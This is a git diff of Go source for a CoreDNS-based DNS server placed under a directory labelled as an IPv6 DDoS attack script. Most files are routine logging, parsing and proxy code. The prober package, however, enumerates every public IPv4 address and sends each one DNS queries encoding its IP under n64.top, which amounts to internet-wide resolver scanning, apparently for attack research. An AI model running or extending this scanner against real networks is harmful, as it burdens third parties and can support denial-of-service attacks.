// Info logs as log.Info.
|
||||
func (p P) Info(v ...interface{}) {
|
||||
ls.info(p.plugin, v...)
|
||||
p.log(info, v...)
|
||||
}
|
||||
|
||||
// Infof logs as log.Infof.
|
||||
func (p P) Infof(format string, v ...interface{}) {
|
||||
ls.infof(p.plugin, format, v...)
|
||||
p.logf(info, format, v...)
|
||||
}
|
||||
|
||||
// Warning logs as log.Warning.
|
||||
func (p P) Warning(v ...interface{}) {
|
||||
ls.warning(p.plugin, v...)
|
||||
p.log(warning, v...)
|
||||
}
|
||||
|
||||
// Warningf logs as log.Warningf.
|
||||
func (p P) Warningf(format string, v ...interface{}) {
|
||||
ls.warningf(p.plugin, format, v...)
|
||||
p.logf(warning, format, v...)
|
||||
}
|
||||
|
||||
// Error logs as log.Error.
|
||||
func (p P) Error(v ...interface{}) {
|
||||
ls.error(p.plugin, v...)
|
||||
p.log(err, v...)
|
||||
}
|
||||
|
||||
// Errorf logs as log.Errorf.
|
||||
func (p P) Errorf(format string, v ...interface{}) {
|
||||
ls.errorf(p.plugin, format, v...)
|
||||
p.logf(err, format, v...)
|
||||
}
|
||||
|
||||
// Fatal logs as log.Fatal and calls os.Exit(1).
|
||||
func (p P) Fatal(v ...interface{}) {
|
||||
ls.fatal(p.plugin, v...)
|
||||
p.log(fatal, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Fatalf logs as log.Fatalf and calls os.Exit(1).
|
||||
func (p P) Fatalf(format string, v ...interface{}) {
|
||||
ls.fatalf(p.plugin, format, v...)
|
||||
p.logf(fatal, format, v...)
|
||||
os.Exit(1)
|
||||
}
|
||||
12
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/runtime.go
Normal file
12
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/log/runtime.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package log
|
||||
|
||||
import "runtime"
|
||||
|
||||
// 获取运行时函数
|
||||
func RunFuncName() (string, int) {
|
||||
_, file, line, ok := runtime.Caller(1)
|
||||
if ok {
|
||||
return file, line
|
||||
}
|
||||
return "null", 0
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
// Package nonwriter implements a dns.ResponseWriter that never writes, but captures the dns.Msg being written.
|
||||
package nonwriter
|
||||
|
||||
import "github.com/miekg/dns"
|
||||
|
||||
// Writer is a type of ResponseWriter that captures the message, but never writes to the client.
|
||||
type Writer struct {
|
||||
dns.ResponseWriter
|
||||
Msg *dns.Msg
|
||||
}
|
||||
|
||||
// New makes and returns a new NonWriter.
|
||||
func New(w dns.ResponseWriter) *Writer { return &Writer{ResponseWriter: w} }
|
||||
|
||||
// WriteMsg records the message, but doesn't write it itself.
|
||||
func (w *Writer) WriteMsg(res *dns.Msg) error {
|
||||
w.Msg = res
|
||||
return nil
|
||||
}
|
||||
121
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/parse/host.go
Normal file
121
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/parse/host.go
Normal file
@@ -0,0 +1,121 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/miekg/dns"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ErrNoNameservers is returned by HostPortOrFile if no servers can be parsed.
|
||||
var ErrNoNameservers = errors.New("no nameservers found")
|
||||
|
||||
// Strips the zone, but preserves any port that comes after the zone
|
||||
func stripZone(host string) string {
|
||||
if strings.Contains(host, "%") {
|
||||
lastPercent := strings.LastIndex(host, "%")
|
||||
newHost := host[:lastPercent]
|
||||
return newHost
|
||||
}
|
||||
return host
|
||||
}
|
||||
|
||||
// HostPortOrFile parses the strings in s, each string can either be a
|
||||
// address, [scheme://]address:port or a filename. The address part is checked
|
||||
// and in case of filename a resolv.conf like file is (assumed) and parsed and
|
||||
// the nameservers found are returned.
|
||||
func HostPortOrFile(s ...string) ([]string, error) {
|
||||
var servers []string
|
||||
for _, h := range s {
|
||||
trans, host := Transport(h)
|
||||
if len(host) == 0 {
|
||||
return servers, fmt.Errorf("invalid address: %q", h)
|
||||
}
|
||||
|
||||
if trans == transport.UNIX {
|
||||
servers = append(servers, trans+"://"+host)
|
||||
continue
|
||||
}
|
||||
|
||||
addr, _, err := net.SplitHostPort(host)
|
||||
|
||||
if err != nil {
|
||||
// Parse didn't work, it is not a addr:port combo
|
||||
hostNoZone := stripZone(host)
|
||||
if net.ParseIP(hostNoZone) == nil {
|
||||
ss, err := tryFile(host)
|
||||
if err == nil {
|
||||
servers = append(servers, ss...)
|
||||
continue
|
||||
}
|
||||
return servers, fmt.Errorf("not an IP address or file: %q", host)
|
||||
}
|
||||
var ss string
|
||||
switch trans {
|
||||
case transport.DNS:
|
||||
ss = net.JoinHostPort(host, transport.Port)
|
||||
case transport.TLS:
|
||||
ss = transport.TLS + "://" + net.JoinHostPort(host, transport.TLSPort)
|
||||
case transport.GRPC:
|
||||
ss = transport.GRPC + "://" + net.JoinHostPort(host, transport.GRPCPort)
|
||||
case transport.HTTPS:
|
||||
ss = transport.HTTPS + "://" + net.JoinHostPort(host, transport.HTTPSPort)
|
||||
}
|
||||
servers = append(servers, ss)
|
||||
continue
|
||||
}
|
||||
|
||||
if net.ParseIP(stripZone(addr)) == nil {
|
||||
ss, err := tryFile(host)
|
||||
if err == nil {
|
||||
servers = append(servers, ss...)
|
||||
continue
|
||||
}
|
||||
return servers, fmt.Errorf("not an IP address or file: %q", host)
|
||||
}
|
||||
servers = append(servers, h)
|
||||
}
|
||||
if len(servers) == 0 {
|
||||
return servers, ErrNoNameservers
|
||||
}
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// Try to open this is a file first.
|
||||
func tryFile(s string) ([]string, error) {
|
||||
c, err := dns.ClientConfigFromFile(s)
|
||||
if err == os.ErrNotExist {
|
||||
return nil, fmt.Errorf("failed to open file %q: %q", s, err)
|
||||
} else if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
servers := []string{}
|
||||
for _, s := range c.Servers {
|
||||
servers = append(servers, net.JoinHostPort(s, c.Port))
|
||||
}
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// HostPort will check if the host part is a valid IP address, if the
|
||||
// IP address is valid, but no port is found, defaultPort is added.
|
||||
func HostPort(s, defaultPort string) (string, error) {
|
||||
addr, port, err := net.SplitHostPort(s)
|
||||
if port == "" {
|
||||
port = defaultPort
|
||||
}
|
||||
if err != nil {
|
||||
if net.ParseIP(s) == nil {
|
||||
return "", fmt.Errorf("must specify an IP address: `%s'", s)
|
||||
}
|
||||
return net.JoinHostPort(s, port), nil
|
||||
}
|
||||
|
||||
if net.ParseIP(addr) == nil {
|
||||
return "", fmt.Errorf("must specify an IP address: `%s'", addr)
|
||||
}
|
||||
return net.JoinHostPort(addr, port), nil
|
||||
}
|
||||
37
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/parse/parse.go
Normal file
37
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/parse/parse.go
Normal file
@@ -0,0 +1,37 @@
|
||||
// Package parse contains functions that can be used in the setup code for plugins.
|
||||
package parse
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/coredns/caddy"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
)
|
||||
|
||||
// TransferIn parses transfer statements: 'transfer from [address...]'.
|
||||
func TransferIn(c *caddy.Controller) (froms []string, err error) {
|
||||
if !c.NextArg() {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
value := c.Val()
|
||||
switch value {
|
||||
default:
|
||||
return nil, c.Errf("unknown property %s", value)
|
||||
case "from":
|
||||
froms = c.RemainingArgs()
|
||||
if len(froms) == 0 {
|
||||
return nil, c.ArgErr()
|
||||
}
|
||||
for i := range froms {
|
||||
if froms[i] != "*" {
|
||||
normalized, err := HostPort(froms[i], transport.Port)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
froms[i] = normalized
|
||||
} else {
|
||||
return nil, fmt.Errorf("can't use '*' in transfer from")
|
||||
}
|
||||
}
|
||||
}
|
||||
return froms, nil
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package parse
|
||||
|
||||
import (
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Transport 函数返回 s 中定义的传输协议和一个删除传输前缀的字符串(如果有)。如果未定义传输协议,则默认为传输DNS(Do53)
|
||||
func Transport(s string) (trans string, addr string) {
|
||||
switch {
|
||||
case strings.HasPrefix(s, transport.TLS+"://"):
|
||||
s = s[len(transport.TLS+"://"):]
|
||||
return transport.TLS, s
|
||||
|
||||
case strings.HasPrefix(s, transport.DNS+"://"):
|
||||
s = s[len(transport.DNS+"://"):]
|
||||
return transport.DNS, s
|
||||
|
||||
case strings.HasPrefix(s, transport.GRPC+"://"):
|
||||
s = s[len(transport.GRPC+"://"):]
|
||||
return transport.GRPC, s
|
||||
|
||||
case strings.HasPrefix(s, transport.HTTPS+"://"):
|
||||
s = s[len(transport.HTTPS+"://"):]
|
||||
return transport.HTTPS, s
|
||||
|
||||
case strings.HasPrefix(s, transport.UNIX+"://"):
|
||||
s = s[len(transport.UNIX+"://"):]
|
||||
return transport.UNIX, s
|
||||
case strings.HasPrefix(s, transport.PROBER+"://"):
|
||||
s = s[len(transport.PROBER+"://"):]
|
||||
return transport.PROBER, s
|
||||
}
|
||||
|
||||
return transport.DNS, s
|
||||
}
|
||||
30
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/prober/args.go
Normal file
30
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/prober/args.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package prober
|
||||
|
||||
// 配置键值
|
||||
const (
|
||||
prange = "range"
|
||||
ptype = "ptype"
|
||||
ploop = "loop"
|
||||
pnet = "netType"
|
||||
pTimeout = 5
|
||||
PAddrNum = "addrNum"
|
||||
Pchain = "pchain"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultPrange = "global"
|
||||
defaultPtype = "v64"
|
||||
defaultTarget = "n64.top"
|
||||
defaultStartsubv64 = "v4-1"
|
||||
//defaultMaxGRout = 4000 //默认协程最大运行数
|
||||
defaultMaxDial = 5
|
||||
defaultPloop = false
|
||||
// defaultPnum 提供了一个全球探测的目的地址大致范围
|
||||
defaultPnum = 4000000000
|
||||
)
|
||||
|
||||
// TODO:实现功能
|
||||
// 检查输入参数是否有定义,0代表一切正常,1代表有严重错误,无法创建,2代表有额外未定义参数,但仍可创建
|
||||
func VaildArgs(args map[string][]string) (string, int) {
|
||||
return "OK", 0
|
||||
}
|
||||
150
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/prober/prober.go
Normal file
150
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/prober/prober.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"github.com/miekg/dns"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"math"
|
||||
"net"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Prober struct {
|
||||
Prange []string `json:"prange"` // 探测范围
|
||||
Ptype string `json:"ptype"` // 探针类型
|
||||
AllAddrNum int `json:"allAddrnum"` // 总共需要探测的地址数
|
||||
ScanAddrNum int `json:"scanAddrNum"` // 已探测过的地址数
|
||||
Pid int `json:"pid"` // 探测器ID
|
||||
Loop bool `json:"loop"` //是否持续探测
|
||||
m *sync.Mutex
|
||||
stop context.CancelFunc // stop信号量
|
||||
removeFromPGList func() //从探测器列表中删除对应记录
|
||||
c *dns.Client
|
||||
}
|
||||
|
||||
// 新建探测器
|
||||
func NewProber(ctx context.Context) *Prober {
|
||||
p := new(Prober)
|
||||
|
||||
//配置探测器
|
||||
ok := true
|
||||
if p.Prange, ok = ctx.Value(prange).([]string); !ok {
|
||||
p.Prange[0] = defaultPrange
|
||||
}
|
||||
if p.Ptype, ok = ctx.Value(ptype).(string); !ok {
|
||||
p.Ptype = defaultPtype
|
||||
}
|
||||
if p.Loop, ok = ctx.Value(ploop).(bool); !ok {
|
||||
p.Loop = defaultPloop
|
||||
}
|
||||
if p.AllAddrNum, ok = ctx.Value(PAddrNum).(int); !ok {
|
||||
p.AllAddrNum = defaultPnum
|
||||
}
|
||||
|
||||
// 配置客户端
|
||||
p.c = &dns.Client{
|
||||
Timeout: pTimeout,
|
||||
}
|
||||
switch ctx.Value(pnet) {
|
||||
case "tcp":
|
||||
p.c.Net = "tcp"
|
||||
case "tcp-tls":
|
||||
p.c.Net = "tcp-tls"
|
||||
// TODO:tls配置
|
||||
p.c.TLSConfig = &tls.Config{}
|
||||
default:
|
||||
break
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// Start 探测代码
|
||||
func (p *Prober) Start(ctx context.Context, target chan net.IP, pool *ants.Pool) {
|
||||
|
||||
var wg sync.WaitGroup
|
||||
|
||||
// 探测轮数
|
||||
round := 1
|
||||
if p.Loop {
|
||||
round = math.MaxInt
|
||||
}
|
||||
for {
|
||||
// 下一轮次的数据
|
||||
for {
|
||||
if ip, ok := <-target; ok {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
// 中途取消
|
||||
return
|
||||
default:
|
||||
err := pool.Submit(p.Probe(ctx, ip, &wg))
|
||||
if err != nil {
|
||||
olog.Errorf("prober/Start: %v", err.Error())
|
||||
return
|
||||
}
|
||||
p.addScanAddrNum()
|
||||
}
|
||||
} else {
|
||||
// 一轮扫描完成
|
||||
round -= 1
|
||||
// 探测轮数归零,退出
|
||||
if round == 0 {
|
||||
err := p.exit()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
// 未归零,开始下一轮
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) Stop() error {
|
||||
p.stop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Prober) exit() error {
|
||||
p.removeFromPGList()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *Prober) addScanAddrNum() {
|
||||
// 加锁防止数据错误
|
||||
p.m.Lock()
|
||||
p.ScanAddrNum += 1
|
||||
p.m.Unlock()
|
||||
}
|
||||
|
||||
// Probe 所有探测方法的封装方法
|
||||
func (p *Prober) Probe(ctx context.Context, ip net.IP, wg *sync.WaitGroup) func() {
|
||||
msg := new(dns.Msg)
|
||||
pcf := ctx.Value(Pchain).(*PBConfig)
|
||||
return func() {
|
||||
// 将目标IP传入上下文
|
||||
ctx = context.WithValue(ctx, Target, ip)
|
||||
_, _ = pcf.PluginChain.ProbeDNS(ctx, p.c, msg)
|
||||
wg.Done()
|
||||
}
|
||||
}
|
||||
|
||||
//func (p *Prober) Probev64(ip net.IP) error {
|
||||
// msg := new(dns.Msg)
|
||||
// msg.SetQuestion(dns.Fqdn(p.makeProbe(ip)), dns.TypeTXT)
|
||||
// // TODO:展示响应内容
|
||||
// _, _, err := p.c.Exchange(msg, ip.String()+":53")
|
||||
// if err != nil {
|
||||
// return err
|
||||
// }
|
||||
// return nil
|
||||
//}
|
||||
|
||||
const (
|
||||
Paramkey = "httpparam"
|
||||
Target = "targetip"
|
||||
)
|
||||
@@ -0,0 +1,129 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"time"
|
||||
)
|
||||
|
||||
// PBConfig configuration for a single prober.
|
||||
type PBConfig struct {
|
||||
|
||||
// one or several hostnames to bind the server to.
|
||||
// defaults to a single empty string that denote the wildcard address
|
||||
ListenHosts []string
|
||||
|
||||
// The port to listen on.
|
||||
Port string
|
||||
|
||||
// Root points to a base directory we find user defined "things".
|
||||
// First consumer is the file plugin to looks for zone files in this place.
|
||||
Root string
|
||||
|
||||
// Debug controls the panic/recover mechanism that is enabled by default.
|
||||
Debug bool
|
||||
|
||||
// Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
|
||||
Stacktrace bool
|
||||
|
||||
// 使用的传输协议,目前为HTTP
|
||||
Transport string
|
||||
|
||||
// If this function is not nil it will be used to inspect and validate
|
||||
// HTTP requests. Although this isn't referenced in-tree, external plugins
|
||||
// may depend on it.
|
||||
HTTPRequestValidateFunc func(*http.Request) bool
|
||||
|
||||
// FilterFuncs is used to further filter access
|
||||
// to this handler. E.g. to limit access to a reverse zone
|
||||
// on a non-octet boundary, i.e. /17
|
||||
FilterFuncs []FilterFunc
|
||||
|
||||
// ViewName is the name of the Viewer PLugin defined in the Config
|
||||
ViewName string
|
||||
|
||||
// TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
|
||||
TLSConfig *tls.Config
|
||||
|
||||
// Timeouts for TCP, TLS and HTTPS servers.
|
||||
ReadTimeout time.Duration
|
||||
WriteTimeout time.Duration
|
||||
IdleTimeout time.Duration
|
||||
|
||||
// TSIG secrets, [name]key.
|
||||
TsigSecret map[string]string
|
||||
|
||||
// Plugin stack.
|
||||
Plugin []plugin.Pplugin
|
||||
|
||||
// Compiled plugin stack.
|
||||
PluginChain plugin.Prober
|
||||
|
||||
// Plugin interested in announcing that they exist, so other plugin can call methods
|
||||
// on them should register themselves here. The name should be the name as return by the
|
||||
// Handler's Name method.
|
||||
registry map[string]plugin.Prober
|
||||
|
||||
// FirstConfigInBlock is used to reference the first config in a server block, for the
|
||||
// purpose of sharing single instance of each plugin among all zones in a server block.
|
||||
FirstConfigInBlock *PBConfig
|
||||
|
||||
// MetaCollector references the first MetadataCollector plugin, if one exists
|
||||
MetaCollector ProberMetadataCollector
|
||||
}
|
||||
|
||||
// FilterFunc is a function that filters requests from the Config
|
||||
type FilterFunc func(context.Context, *request.HTTPRequest) bool
|
||||
|
||||
// KeyForConfig builds a key for identifying the configs during setup time
|
||||
func KeyForConfig(blocIndex int, blocKeyIndex int) string {
|
||||
return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
|
||||
}
|
||||
|
||||
// AddPlugin adds a plugin to a site's plugin stack.
|
||||
func (pc PBConfig) AddPlugin(m plugin.Pplugin) {
|
||||
pc.Plugin = append(pc.Plugin, m)
|
||||
}
|
||||
|
||||
// registerHandler adds a prober to a site's prober registration.
|
||||
func (pc PBConfig) RegisterProber(p plugin.Prober) {
|
||||
if pc.registry == nil {
|
||||
pc.registry = make(map[string]plugin.Prober)
|
||||
}
|
||||
|
||||
// Just overwrite...
|
||||
pc.registry[p.Name()] = p
|
||||
}
|
||||
|
||||
// Handler returns the plugin handler that has been added to the config under its name.
|
||||
// This is useful to inspect if a certain plugin is active in this server.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (pc PBConfig) Handler(name string) plugin.Prober {
|
||||
if pc.registry == nil {
|
||||
return nil
|
||||
}
|
||||
if h, ok := pc.registry[name]; ok {
|
||||
return h
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Handlers returns a slice of plugins that have been registered. This can be used to
|
||||
// inspect and interact with registered plugins but cannot be used to remove or add plugins.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
||||
func (pc PBConfig) Handlers() []plugin.Prober {
|
||||
if pc.registry == nil {
|
||||
return nil
|
||||
}
|
||||
hs := make([]plugin.Prober, 0, len(pc.registry))
|
||||
for k := range pc.registry {
|
||||
hs = append(hs, pc.registry[k])
|
||||
}
|
||||
return hs
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
)
|
||||
|
||||
// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
|
||||
type ProberMetadataCollector interface {
|
||||
Collect(context.Context, request.HTTPRequest) context.Context
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"net"
|
||||
olog "ohmydns2/plugin/pkg/log"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 探测器和协程状态列表
|
||||
type ProberAndGoroutList struct {
|
||||
Pl map[int]*Prober // 探测器
|
||||
GRPool *ants.Pool
|
||||
}
|
||||
|
||||
// 获取当前正在运行的探测器数量
|
||||
func (pl *ProberAndGoroutList) GetNum() int {
|
||||
return len(pl.Pl)
|
||||
}
|
||||
|
||||
// 增加一个探测器,并返回对应的pid
|
||||
func (pl *ProberAndGoroutList) AddProber(ctx context.Context, targetIP chan net.IP) string {
|
||||
//当前时间戳,作为探测器ID
|
||||
t := time.Now().Unix()
|
||||
//创建一个新的Prober对象
|
||||
p := NewProber(ctx)
|
||||
pctx, cancel := context.WithCancel(ctx)
|
||||
p.stop = cancel
|
||||
p.Pid = int(t)
|
||||
p.removeFromPGList = func() {
|
||||
err := pl.DeleteProberById(p.Pid)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
pl.Pl[int(t)] = p
|
||||
|
||||
if p.Prange[0] != defaultPrange {
|
||||
olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, defaultPrange, p.Ptype)
|
||||
} else {
|
||||
olog.Infof("新增探测器 %v:\t探测范围\t探针类型\n\t\t\t\t%v\t%v", p.Pid, "自定义", p.Ptype)
|
||||
}
|
||||
// 开始执行任务
|
||||
go p.Start(pctx, targetIP, pl.GRPool)
|
||||
|
||||
return strconv.Itoa(p.Pid)
|
||||
}
|
||||
|
||||
// 列举所有探测器信息
|
||||
func (pl *ProberAndGoroutList) ListAllProber() (int, map[int]Prober, error) {
|
||||
rm := make(map[int]Prober)
|
||||
for k, v := range pl.Pl {
|
||||
rm[k] = *v
|
||||
}
|
||||
|
||||
return pl.GetNum(), rm, nil
|
||||
}
|
||||
|
||||
// DeleteProberById 根据探测器ID停止探测任务
|
||||
func (pl *ProberAndGoroutList) DeleteProberById(pid int) error {
|
||||
err := pl.Pl[pid].Stop()
|
||||
delete(pl.Pl, pid)
|
||||
if err != nil {
|
||||
panic("can't Stop prober " + strconv.Itoa(pid))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteAllProber 删除所有的运行的探测器,底层调用了DeleteProberById
|
||||
func (pl *ProberAndGoroutList) DeleteAllProber() error {
|
||||
for k, _ := range pl.Pl {
|
||||
err := pl.DeleteProberById(k)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProber 根据探测器对象找到对应探测ID并删除
|
||||
func (pl *ProberAndGoroutList) DeleteProber(p *Prober) error {
|
||||
for k, v := range pl.Pl {
|
||||
if v == p {
|
||||
err := pl.DeleteProberById(k)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
olog.Error("未找到该探测器")
|
||||
return errors.New("not found this prober!!")
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package prober
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/log"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/pochard/commons/randstr"
|
||||
)
|
||||
|
||||
// 数字到IP
|
||||
func uint32toIP4(ipInt uint32) string {
|
||||
// need to do two bit shifting and “0xff” masking
|
||||
b0 := strconv.FormatInt(int64((ipInt>>24)&0xff), 10)
|
||||
b1 := strconv.FormatInt(int64((ipInt>>16)&0xff), 10)
|
||||
b2 := strconv.FormatInt(int64((ipInt>>8)&0xff), 10)
|
||||
b3 := strconv.FormatInt(int64((ipInt & 0xff)), 10)
|
||||
return b0 + "." + b1 + "." + b2 + "." + b3
|
||||
}
|
||||
|
||||
// ip到数字
|
||||
func ip2Long(ip string) uint32 {
|
||||
var long uint32
|
||||
err := binary.Read(bytes.NewBuffer(net.ParseIP(ip).To4()), binary.BigEndian, &long)
|
||||
if err != nil {
|
||||
log.Errorf("proberutil/ip2long: %v", err.Error())
|
||||
return 0
|
||||
}
|
||||
return long
|
||||
}
|
||||
|
||||
// 生成可用于IPv4探测的地址
|
||||
func GenGlobIPv4() chan net.IP {
|
||||
c := make(chan net.IP)
|
||||
// 从1.0.0.0开始,到223.255.255.255结束(ICANN已分配地址)
|
||||
go func() {
|
||||
for n := ip2Long("1.0.0.0"); n < ip2Long("223.255.255.255"); n++ {
|
||||
ip := net.ParseIP(uint32toIP4(n))
|
||||
// 地址全球单播且不是私有地址
|
||||
if ip.IsGlobalUnicast() && !ip.IsPrivate() {
|
||||
c <- ip
|
||||
}
|
||||
}
|
||||
close(c)
|
||||
}()
|
||||
return c
|
||||
}
|
||||
|
||||
// MakeProbe 生成探针的封装
|
||||
func (p *Prober) makeProbe(ip net.IP) string {
|
||||
if p.Ptype == defaultPtype {
|
||||
return MakeProbev64(ip)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 构造v64需要的探针
|
||||
func MakeProbev64(ip net.IP) string {
|
||||
ipstr := ip2Eid(ip)
|
||||
return fmt.Sprintf("c1.rip%v.%v.%v.%v.", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), defaultStartsubv64, defaultTarget)
|
||||
}
|
||||
|
||||
func MakeTestProbev64(subv64 string, targetzone string) string {
|
||||
ipstr := ip2Eid(net.ParseIP("0.0.0.0"))
|
||||
return fmt.Sprintf("c1.%v.%v.%v.%v", ipstr, strings.ToLower(randstr.RandomAlphanumeric(5)), subv64, targetzone)
|
||||
}
|
||||
|
||||
func ip2Eid(ip net.IP) string {
|
||||
i := ip.String()
|
||||
if strings.Contains(i, ":") {
|
||||
return strings.ReplaceAll(i, ":", "-")
|
||||
}
|
||||
return strings.ReplaceAll(i, ".", "-")
|
||||
}
|
||||
157
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/proxy/connect.go
Normal file
157
att script/3_v6_DDoS/code/辅助权威服务器/plugin/pkg/proxy/connect.go
Normal file
@@ -0,0 +1,157 @@
|
||||
package proxy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"strconv"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
// limitTimeout is a utility function to auto-tune timeout values
|
||||
// average observed time is moved towards the last observed delay moderated by a weight
|
||||
// next timeout to use will be the double of the computed average, limited by min and max frame.
|
||||
func limitTimeout(currentAvg *int64, minValue time.Duration, maxValue time.Duration) time.Duration {
|
||||
rt := time.Duration(atomic.LoadInt64(currentAvg))
|
||||
if rt < minValue {
|
||||
return minValue
|
||||
}
|
||||
if rt < maxValue/2 {
|
||||
return 2 * rt
|
||||
}
|
||||
return maxValue
|
||||
}
|
||||
|
||||
func averageTimeout(currentAvg *int64, observedDuration time.Duration, weight int64) {
|
||||
dt := time.Duration(atomic.LoadInt64(currentAvg))
|
||||
atomic.AddInt64(currentAvg, int64(observedDuration-dt)/weight)
|
||||
}
|
||||
|
||||
func (t *Transport) dialTimeout() time.Duration {
|
||||
return limitTimeout(&t.avgDialTime, minDialTimeout, maxDialTimeout)
|
||||
}
|
||||
|
||||
func (t *Transport) updateDialTimeout(newDialTime time.Duration) {
|
||||
averageTimeout(&t.avgDialTime, newDialTime, cumulativeAvgWeight)
|
||||
}
|
||||
|
||||
// Dial dials the address configured in transport, potentially reusing a connection or creating a new one.
|
||||
func (t *Transport) Dial(proto string) (*persistConn, bool, error) {
|
||||
// If tls has been configured; use it.
|
||||
if t.tlsConfig != nil {
|
||||
proto = "tcp-tls"
|
||||
}
|
||||
|
||||
t.dial <- proto
|
||||
pc := <-t.ret
|
||||
|
||||
if pc != nil {
|
||||
ConnCacheHitsCount.WithLabelValues(t.addr, proto).Add(1)
|
||||
return pc, true, nil
|
||||
}
|
||||
ConnCacheMissesCount.WithLabelValues(t.addr, proto).Add(1)
|
||||
|
||||
reqTime := time.Now()
|
||||
timeout := t.dialTimeout()
|
||||
if proto == "tcp-tls" {
|
||||
conn, err := dns.DialTimeoutWithTLS("tcp", t.addr, t.tlsConfig, timeout)
|
||||
t.updateDialTimeout(time.Since(reqTime))
|
||||
return &persistConn{c: conn}, false, err
|
||||
}
|
||||
conn, err := dns.DialTimeout(proto, t.addr, timeout)
|
||||
t.updateDialTimeout(time.Since(reqTime))
|
||||
return &persistConn{c: conn}, false, err
|
||||
}
|
||||
|
||||
// Connect selects an upstream, sends the request and waits for a response.
|
||||
func (p *Proxy) Connect(ctx context.Context, state request.Request, opts Options) (*dns.Msg, error) {
|
||||
start := time.Now()
|
||||
|
||||
proto := ""
|
||||
switch {
|
||||
case opts.ForceTCP: // TCP flag has precedence over UDP flag
|
||||
proto = "tcp"
|
||||
case opts.PreferUDP:
|
||||
proto = "udp"
|
||||
default:
|
||||
proto = state.Proto()
|
||||
}
|
||||
|
||||
pc, cached, err := p.transport.Dial(proto)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Set buffer size correctly for this client.
|
||||
pc.c.UDPSize = uint16(state.Size())
|
||||
if pc.c.UDPSize < 512 {
|
||||
pc.c.UDPSize = 512
|
||||
}
|
||||
|
||||
pc.c.SetWriteDeadline(time.Now().Add(maxTimeout))
|
||||
